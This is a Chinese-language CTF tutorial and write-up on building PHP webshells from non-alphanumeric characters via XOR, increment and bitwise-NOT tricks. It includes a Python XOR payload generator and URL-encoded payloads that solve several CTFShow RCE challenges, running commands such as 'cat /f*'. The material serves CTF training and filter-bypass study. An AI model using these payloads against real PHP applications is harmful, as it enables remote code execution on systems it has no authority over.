无字母数字构造webshell
前言
在CTFShow的每周挑战中遇到了PHP无数字字母构造webshell的一系列题目,做了做发现我这个菜鸡不怎么会,所以对此类知识进行一个简单总结,希望能对正在学习的师傅有所帮助。
构造语句的几种方式
首先来看一下最原始的题
1<?php2highlight_file(__FILE__);3$code = $_GET['code'];4if(preg_match("/[A-Za-z0-9]+/",$code)){5 die("hacker!");6}7@eval($code);8?>此时的话只是ban了数字和字母,然后这个时候的话想要构造webshell就需要用其他字符了,然后我们这里的话可以用位运算符中的取反、自增来做这个。
异或
这里需要先讲一点基础知识。
什么是异或,我们这里举一个例子,我们将字符A和?进行异或操作
1<?php2echo 'A'^'?';
1可以发现得到的结果是`~`,那么它是如何计算的呢,过程如下:21、首先将`A`和`?`分别转换为对应的ASCII码:A变为65,?变为6332、然后将其转换为对应的二进制数,A变为`1000001`,1变为`111111`43、接下来就进行运算,异或的运算规则是相同为0,不同为15A:100000161:0111111(少一位,前面补0即可)7结果: 1111110接下来将其二进制转换为对应十进制数,1111110对应的十进制数为126,根据ASCII码表可知126对应的是~,所以这个时候得到的字符就是~。
因此,我们利用这种思路,可以借助异或构造payload如下
1$__=("#"^"|"); // _2$__.=("."^"~"); // _P3$__.=("/"^"`"); // _PO4$__.=("|"^"/"); // _POS5$__.=("{"^"/"); // _POST6$$__[_]($$__[__]); // $_POST[_]($_POST[__]);然后我们再取消一下换行符,将它合并于一行之中
1$__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");$$__[_]($$__[__]);最后进行一次URL编码(因为中间件会进行一次解码,所以我们这里需要手动编码一次),即可得最终payload
1%24__%3D(%22%23%22%5E%22%7C%22)%3B%24__.%3D(%22.%22%5E%22~%22)%3B%24__.%3D(%22%2F%22%5E%22%60%22)%3B%24__.%3D(%22%7C%22%5E%22%2F%22)%3B%24__.%3D(%22%7B%22%5E%22%2F%22)%3B%24%24__%5B_%5D(%24%24__%5B__%5D)%3B接下来本地简单测试一下,测试代码为
1<?php2highlight_file(__FILE__);3$code = $_POST['code'];4if(preg_match("/[a-zA-Z0-9]/",$code)){5 die("hacker!");6}7eval($code);8?>
但是这种方式如果自己去慢慢找的话,过程是极为缓慢的,想到我们异或一次不仅能构造出一个字符,也可以一次构造出多个字符,比如('AB')^('11')

此时就可以得到ps字符串,那我们这里是不是就可以构造一个脚本,通过一次异或运算得到我们想构造的字符串,比如system,那这里的话我们大体思路的话就有了
1第一步:寻找未被过滤的字符2第二步:写入我们想构造的字符串,然后对它进行一个遍历,先获取第一个字符3第三步:用刚刚找到的未被过滤的字符进行一个遍历,看哪两个能够通过异或运算构造出第一个字符,同理得到后面的4第四步:输出时将字符进行一个URL编码,因为涉及到了部分不可见字符这里想到之前在CTFShow命令执行系列中用过一个脚本与此类似,这里简单修改一下脚本,就可以达到我们想要的效果了,脚本如下
1# !/usr/bin/python32# -*- coding:utf-8 -*-3# @Time : 2023/9/14 13:584# @Author : 大C菌5# @File : 异或webshell爆破.py6# @Software: PyCharm7import re8import requests9import urllib10from sys import *11import os12
13a = []14ans1 = ""15ans2 = ""16for i in range(0, 256): # 设置i的范围17 c = chr(i)18 # 将i转换成ascii对应的字符,并赋值给c19 tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', c, re.I)20 # 设置过滤条件,让变量c在其中找对应,并利用修饰符过滤大小写,这样可以得到未被过滤的字符21 if (tmp):22 continue23 # 当执行正确时,那说明这些是被过滤掉的,所以才会被匹配到,此时我们让他继续执行即可24 else:25 a.append(i)26 # 在数组中增加i,这些就是未被系统过滤掉的字符27
28# eval("echo($c);");29mya = "system" # 函数名 这里修改!30myb = "dir" # 参数31
32
33def myfun(k, my): # 自定义函数34 global ans1 # 引用全局变量ans1,使得在局部对其进行更改时不会报错35 global ans2 # 引用全局变量ans2,使得在局部对其进行更改时不会报错36 for i in range(0, len(a)): # 设置循环范围为(0,a)注:a为未被过滤的字符数量37 for j in range(i, len(a)): # 在上个循环的条件下设置j的范围38 if (a[i] ^ a[j] == ord(my[k])):39 ans1 += chr(a[i]) # ans1=ans1+chr(a[i])40 ans2 += chr(a[j]) # ans2=ans2+chr(a[j])41 return; # 返回循环语句中,重新寻找第二个k,这里的话就是寻找y对应的两个字符42
43
44for x in range(0, len(mya)): # 设置k的范围45 myfun(x, mya) # 引用自定义的函数46data1 = "('" + urllib.request.quote(ans1) + "'^'" + urllib.request.quote(47 ans2) + "')" # data1等于传入的命令,"+ans1+"是固定格式,这样可以得到变量对应的值,再用'包裹,这样是变量的固定格式,另一个也是如此,两个在进行URL编码后进行按位与运算,然后得到对应值48print(mya + ":" + data1)49ans1 = "" # 对ans1进行重新赋值50ans2 = "" # 对ans2进行重新赋值51for k in range(0, len(myb)): # 设置k的范围为(0,len(myb))52 myfun(k, myb) # 再次引用自定义函数53data2 = "(\"" + urllib.request.quote(ans1) + "\"^\"" + urllib.request.quote(ans2) + "\")"54print(myb + ":" + data2)55print("payload:" + data1 + data2 + ";")

自增
官方文档如下 https://www.php.net/manual/zh/language.operators.increment.php
当我们通过某种方法可以得到一个字符时,我们就可以通过自增来获取其他字符,比如现在我们获取到了$_=A,我们进行$_++,此时$_就变成了B,同理就可以构造出GET以及POST字符,接下来以例子来进行讲解,这里例题的话还用之前的demo
1<?php2highlight_file(__FILE__);3$code = $_POST['code'];4if(preg_match("/[A-Za-z0-9]+/",$code)){5 die("hacker!");6}7@eval($code);8?>我们首先可以写一个[]看一下
1<?php2$_=[];3var_dump($_);
这个时候的话可以看到它就是一个数组,我们无法获取它的这个Array字符,那我们该怎么获取呢,我们尝试拼接一个数字
1<?php2$_=[].'1';3var_dump($_);
这里看到输出的是Array1,我们这里是不允许出现数字的,但我们直接拼接个空是不是也是可行的呢,尝试一下
1<?php2$_=[].'';3var_dump($_);
成功获取到了字符Array,然后我们获取想获取A的话,就可以采用$_[0]这种方式来获取,但我们是不能够写数字的,所以我们这里可以用一个判断,比如我们在[]里加一个==$,此时因为空和$不同,它就会输出0,此时也就等同于$_[0],具体实现代码如下
1<?php2$_ = [].'';3$_ = $_[''=='$'];4echo $_;
此时成功获取到了字符A,有了A,我们就可以通过自增依次获取其他字符,我们尝试获取一个字符G
1<?php2$_=[];//Array3$_=$_[''=='$'];//A4$_++;//B5$_++;//C6$_++;//D7$_++;//E8$_++;//F9$_++;//G10var_dump($_);
然后看我们这里的代码的话,是eval($code),所以我们就可以构造这种的$_GET[1]($_GET[0]),这个时候我们就可以system(ls)这种命令的执行,所以接下来的话就开始构造
1<?php2$_=[].'';//Array3$_=$_[''=='$'];//A4$_++;//B5$_++;//C6$_++;//D7$_++;//E8$__=$_;//E9$_++;//F10$_++;//G11$___=$_;//G12$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T13$_=$___.$__.$_;//GET14//var_dump($_);15$_='_'.$_;//_GET16var_dump($$_[_]($$_[__]));17//$_GET[_]($_GET[__])接下来就可以尝试去给_和__GET传参,这里我们需要把换行的都去掉,然后进行一次URL编码,因为中间件会解码一次,所以我们构造的payload先变成这样
1$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);而后变成
1%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B此时去尝试赋值

成功执行了命令,输出了当前目录
取反
这个的话我们这里其实是利用了不可见字符,我们对一个字符进行两次取反,得到的还是其本身。当我们进行一次取反过后,对其进行URL编码,再对其进行取反,此时可以得到可见的字符,它的本质其实还是这个字符本身,然后因为取反用的多是不可见字符,所以这里就达到了一种绕过的目的。
这里的话利用一个php脚本即可获取我们想要的字符
1<?php2$ans1='system';//函数名3$ans2='dir';//命令4$data1=('~'.urlencode(~$ans1));//通过两次取反运算得到system5$data2=('~'.urlencode(~$ans2));//通过两次取反运算得到dir6echo ('('.$data1.')'.'('.$data2.')'.';');
接下来为例尝试一下
1<?php2highlight_file(__FILE__);3$code = $_GET['code'];4if(preg_match("/[a-zA-Z0-9]/",$code)){5 die("hacker!");6}7eval($code);8?>
关于自增的一些知识点
知识点1
在自增中,可以通过特殊字符构造出字符串的有以下几种方式
1[].'' //Array2(0/0).'' //NAN3(1/0).'' //INF这个时候就有一个问题了,如果ban了数字,我们该怎么去构造NAN和INF呢,这个时候就需要讲到一个知识点,我们这里的话需要说一下这个NAN和INF
1NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。2
3INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。这里可以看出NAN表示的是未被定义的值,所以我们这里可以通过a/a这种方式构造,如果字母也被ban,我们也可以借助其他字符,比如_/_,这个时候也可以得到NAN,同理,INF也可以通过1/a的方式获取。
知识点2
这里需要说明一下,笔者小白,对这个不太了解,然后可能这并不算什么知识点,还请各位大师傅多多担待
我们在构造$_POST中的_时,正常操作的话是这样,$a='_'.$b(假设这里$b就是POST),然后这个时候如果'被ban,看似这里是无法再利用了,但其实,我们直接写$a=_.$b也是可以的,这个时候效果同上而且缩短了字符长度。
CTF赛题实战
CTFshow吃瓜杯[shellme_Revenge]
题目环境如下
1https://ctf.show/challenges#shellme_Revenge-1483进入环境后发现phpinfo(),找找有没有什么信息,搜索hint发现了提示

提示了?looklook,那我们这里可以猜出大概率是给了个访问的参数,我们在URL后加上?looklook=1,此时获取到源码

1<?php2error_reporting(0);3if ($_GET['looklook']){4 highlight_file(__FILE__);5}else{6 setcookie("hint", "?looklook", time()+3600);7}8if (isset($_POST['ctf_show'])) {9 $ctfshow = $_POST['ctf_show'];10 if (is_string($ctfshow) || strlen($ctfshow) <= 107) {11 if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){12 eval($ctfshow);13 }else{14 echo("fucccc hacker!!");15 }16 }17} else {18 phpinfo();19}20?>过滤了很多,^和~被过滤,所以异或和取反不可行,但可用的还有一些字符,$ _ 1 2 3 C这几个均未被过滤,所以我们这里可以尝试一下通过自增构造,这里限制了长度,要求长度小于107,所以我们这里的话使用构造较短的payload,$_GET[0]($_GET[1])这个相对来说较短,所以这里的话就可以尝试去构造这个payload,我一开始的payload总是不够短,参考了其他师傅的payload后最终构造如下
1<?php2$_=C;3$_++;//D4$C1=++$_;//E5$_++;//F6$C=++$_.$C1;//GE7$_=(C/C.C)[0];//C/C即可得到NAN,但此时的它不是字符串,需要拼接一个字符才能变成字符串,然后第一位就是N8$_++;//O9$_++;//P10$_++;//Q11$_++;//R12$_++;//S13$_++;//T14$C=_.$C.$_;15$$C[1]($$C[2]);16var_dump($C);//$_GET[0]($GET[1])我这里说一下这里缩短长度的几个点,首先一个就是获取字母,比如获取字符E那里,之前我写的话都是$_++;$C1=$_,这种相对来说长度就比较长了,当我们直接这样写,即$C1=++$_时,此时不仅$C1被赋值为E,同时$_也进行了一次自增,因为++$_是先做运算,再赋值的,所以这里是一个缩短长度的点。
然后第二个就是获取T这个字符,我们知道T在英语字母中是较靠后的,如果从前靠后只靠自增,字符就过长了,我们这里想到NAN这个字符N是离T较近的,所以我们可以尝试构造N然后再自增获取T,了解到0/0是NAN,这里的C/C也就是NAN,所以我们对他进行一个拼接后获取第一个字符就可以得到N,而后再通过自增即可获取T。
第三个点的话就是拼接_GET处,这里的_不用单引号直接拼接也是可以的,这样就省去了两个字符。
接下来将刚刚构造的payload删去换行这些,然后弄到一行后再进行URL编码,最终payload
1GET:21=passthru&2=ls /3POST:4ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_.%24C1%3B%24_%3D(C%2FC.C)%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24C%3D_.%24C.%24_%3B%24%24C%5B1%5D(%24%24C%5B2%5D)%3B

CTFShow[RCE挑战2]
环境如下
1https://ctf.show/challenges#RCE2进入靶场,代码如下
1<?php2//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。3error_reporting(0);4highlight_file(__FILE__);5
6if (isset($_POST['ctf_show'])) {7 $ctfshow = $_POST['ctf_show'];8 if (is_string($ctfshow)) {9 if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){10 eval($ctfshow);11 }else{12 echo("Are you hacking me AGAIN?");13 }14 }else{15 phpinfo();16 }17}18?>这里的话可以看到$、[]、'以及_这几个字符是没有被ban的,所以这里我们可以同之前一样,以自增方式构造命令执行语句,直接利用上面的payload进行尝试
1GET:2_=system&__=cat /f*3POST:4%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B
CTFShow[RCE挑战3]
1<?php2//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。3error_reporting(0);4highlight_file(__FILE__);5
6if (isset($_POST['ctf_show'])) {7 $ctfshow = $_POST['ctf_show'];8 if (is_string($ctfshow) && strlen($ctfshow) <= 105) {9 if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){10 eval($ctfshow);11 }else{12 echo("Are you hacking me AGAIN?");13 }14 }else{15 phpinfo();16 }17}18?>这里限制了长度为105,然后看过滤的话这里的^和~被ban,所以继续用自增,然后这个时候考虑的$_GET中的T字符相对G和E来说是较靠后的,如果用自增获取会占用很多字符,所以这里可以去尝试构造$_POST,这四个字符相对来说还是挨的比较近的,所以我这里打算构造的语句是$_POST[0]($_POST[1]),接下来我们就可以去构造了。
首先的话,我们考虑到这个POST四个字符都是偏后的,同时我们这里是有数字0的,所以我们这里可以用0/0来获取float(NAN),接下来需要把他转换为字符串,因为这个是无法利用的,然后我们这里可以看到'和"都被ban了,所以不能再用,不过我们这里拼接的话,其实随便拼接个什么都可以,我们这里拼接一个下划线也是可以的,所以第一步就有了
1<?php2$_=(0/0)._;//NAN3$_=$_[0];//N这个时候就成功获取到了字符N,接下来就是先进行赋值获取一个_,然后再通过自增获取POST,最终的话得到的payload如下
1<?php2$_=(0/0)._;//NAN3$_=$_[0];//N4$_1=++$_;//O ++$_是先进行自增,而后取值,所以这里$_1就是O5$__=_;//_ 首先获取_6$__.=++$_;//_P 通过自增获取P7$__.=$_1;//_PO 获取O8$_++;//Q9$_++;//R10$__.=++$_;//_POS 通过自增获取S11$__.=++$_;//_POST 通过自增获取T12$$__[0]($$__[1]);//$_POST[0]($_POST[1])接下来将代码放入一行
1$_=(0/0)._;$_=$_[0];$_1=++$_;$__=_;$__.=++$_;$__.=$_1;$_++;$_++;$__.=++$_;$__.=++$_;$$__[0]($$__[1]);
可以看到这里是101,小于105,接下来进行URL编码,然后去环境里尝试一下

得到flag

CTFShow[RCE挑战4]
源码如下
1<?php2//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。3error_reporting(0);4highlight_file(__FILE__);5
6if (isset($_POST['ctf_show'])) {7 $ctfshow = $_POST['ctf_show'];8 if (is_string($ctfshow) && strlen($ctfshow) <= 84) {9 if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){10 eval($ctfshow);11 }else{12 echo("Are you hacking me AGAIN?");13 }14 }else{15 phpinfo();16 }17}18?>可以看到本题进一步限制了长度,要求长度小于84位,然后这里的话需要说一些缩短长度的方法。
首先就是我们之前得到字符N是这样的,$_=(0/0)._;$_=$_[0];,然后这个的话我们其实是可以进行一个缩短的,我们可以写成这个样子$_0=(_/_._)[0];,这个(_/_._)就可以直接得到NAN,然后我们再加上一个[0],就可以缩短长度
然后其他就是对自增这些进行一下缩短,我构造的payload如下
1<?php2$_0=(_/_._)[0];//NAN3$_=++$_0;//O4$__=_;//_5$__.=++$_.$_0;//_P6$_++;//Q7$_++;//R8$__.=++$_;//_POS9$__.=++$_;//_POST10$$__[0]($$__[_]);//$_POST[0]($_POST[_])可是这个时候当我把他放到一行中,我发现它的长度是91,还是大于84,因此这个是不可用的,这个时候看到变量名$_0和$__占了两个单位长度,如果我们可以用一个字符来表示它,是不是就可以成功缩短长度呢,然后这个时候就考虑到可以使用不可见字符

然后我们在URL编码表中随便找两个,我这里就用%DE和%DF了,然后分别对变量名进行一个替换
1<?php_2$%DF=(_/_._)[0];//NAN3$_=++$%DF;//O4$%DE=_;//_5$%DE.=++$_.$%DF;//_P6$_++;//Q7$_++;//R8$%DE.=++$_;//_POS9$%DE.=++$_;//_POST10$$%DE[0]($$%DE[_]);//$_POST[0]($_POST[_])然后接下来写到一行中
1$%DF=(_/_._)[0];$_=++$%DF;$%DE=_;$%DE.=++$_.$%DF;$_++;$_++;$%DE.=++$_;$%DE.=++$_;$$%DE[0]($$%DE[_]);因为涉及到不可见字符,然后它是URL编码过的,所以我们这里不能使用整体编码,需要单独对部分内容进行URL编码,不过这里需要编码的也就是++,对++URL编码即可,因此最终payload如下
1POST:2$%DF=(_/_._)[0];$_=%2B%2B$%DF;$%DE=_;$%DE.=%2B%2B$_.$%DF;$_%2B%2B;$_%2B%2B;$%DE.=%2B%2B$_;$%DE.=%2B%2B$_;$$%DE[0]($$%DE[_]);&0=system&_=cat /f*
得到flag

CTFShow[RCE挑战5]
源码如下
1<?php2//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。3error_reporting(0);4highlight_file(__FILE__);5
6if (isset($_POST['ctf_show'])) {7 $ctfshow = $_POST['ctf_show'];8 if (is_string($ctfshow) && strlen($ctfshow) <= 73) {9 if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){10 eval($ctfshow);11 }else{12 echo("Are you hacking me AGAIN?");13 }14 }else{15 phpinfo();16 }17}18?>这里的话将数字全ban了,同时要求字符串长度小于73
然后这里的话根本没思路,参考过官方wp后,得知当gettext拓展开启时,_()就相当于gettext(),可以获取其中的内容,所以我们这里可以通过这种方式获取到字符N,然后我们构造的payload如下
1<?php2$a=_(a/a)[a];//N3$_=++$a;//O4$b=_.++$a.$_;//_PO5$a++;//Q6$a++;//R7$b.=++$a.++$a;//_POST8$$b[a]($$b[_]);//$_POST[a]($_POST[_])接下来用不可见字符分别替换a和b,然后放至一行之中,得到
1$%DE=_(%DE/%DE)[%DE];$_=++$%DE;$%DF=_.++$%DE.$_;$%DE++;$%DE++;$%DF.=++$%DE.++$%DE;$$%DF[%DE]($$%DF[_]);再对++进行URL编码,得到
1$%DE=_(%DE/%DE)[%DE];$_=%2B%2B$%DE;$%DF=_.%2B%2B$%DE.$_;$%DE%2B%2B;$%DE%2B%2B;$%DF.=%2B%2B$%DE.%2B%2B$%DE;$$%DF[%DE]($$%DF[_]);
部分信息可能已经过时